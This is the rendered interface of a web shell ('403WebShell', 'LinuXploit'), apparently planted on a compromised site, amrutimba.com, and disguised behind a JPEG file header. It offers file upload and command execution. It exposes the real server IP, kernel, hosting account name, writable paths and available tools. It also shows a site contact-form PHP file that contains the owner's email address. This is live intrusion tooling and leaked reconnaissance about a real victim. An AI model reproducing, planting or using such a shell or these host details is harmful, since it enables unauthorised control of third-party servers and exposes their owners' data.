���� JFIF    adgknasdgsa403WebShell
403Webshell
Server IP : 195.35.60.28  /  Your IP : 18.218.214.121
Web Server : LiteSpeed
System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64
User : u547896322 ( 547896322)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u547896322/domains/amrutimba.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u547896322/domains/amrutimba.com/public_html/send_form_email.php
<?php
// Check if the form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Get form data
    $name = $_POST['name'];
    $mobile = $_POST['mobile'];
    $email = $_POST['email'];
    $course = $_POST['course'];
    $complaint = $_POST['complaint'];
    $details = $_POST['details'];
    
    // Email address where you want to receive the form submission
    $to = 'jayeshmole1112@gmail.com';
    
    // Subject of the email
    $subject = 'New Complaint Form Submission';
    
    // Email message
    $message = "Name: $name\n";
    $message .= "Mobile: $mobile\n";
    $message .= "Email: $email\n";
    $message .= "Course: $course\n";
    $message .= "Complaint: $complaint\n";
    $message .= "Details: $details\n";
    
    // Send email
    if (mail($to, $subject, $message)) {
        echo "Thank you for your submission!";
    } else {
        echo "Error sending email.";
    }
} else {
    // If the form is not submitted, redirect to the form page
    header("Location: index.php");
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit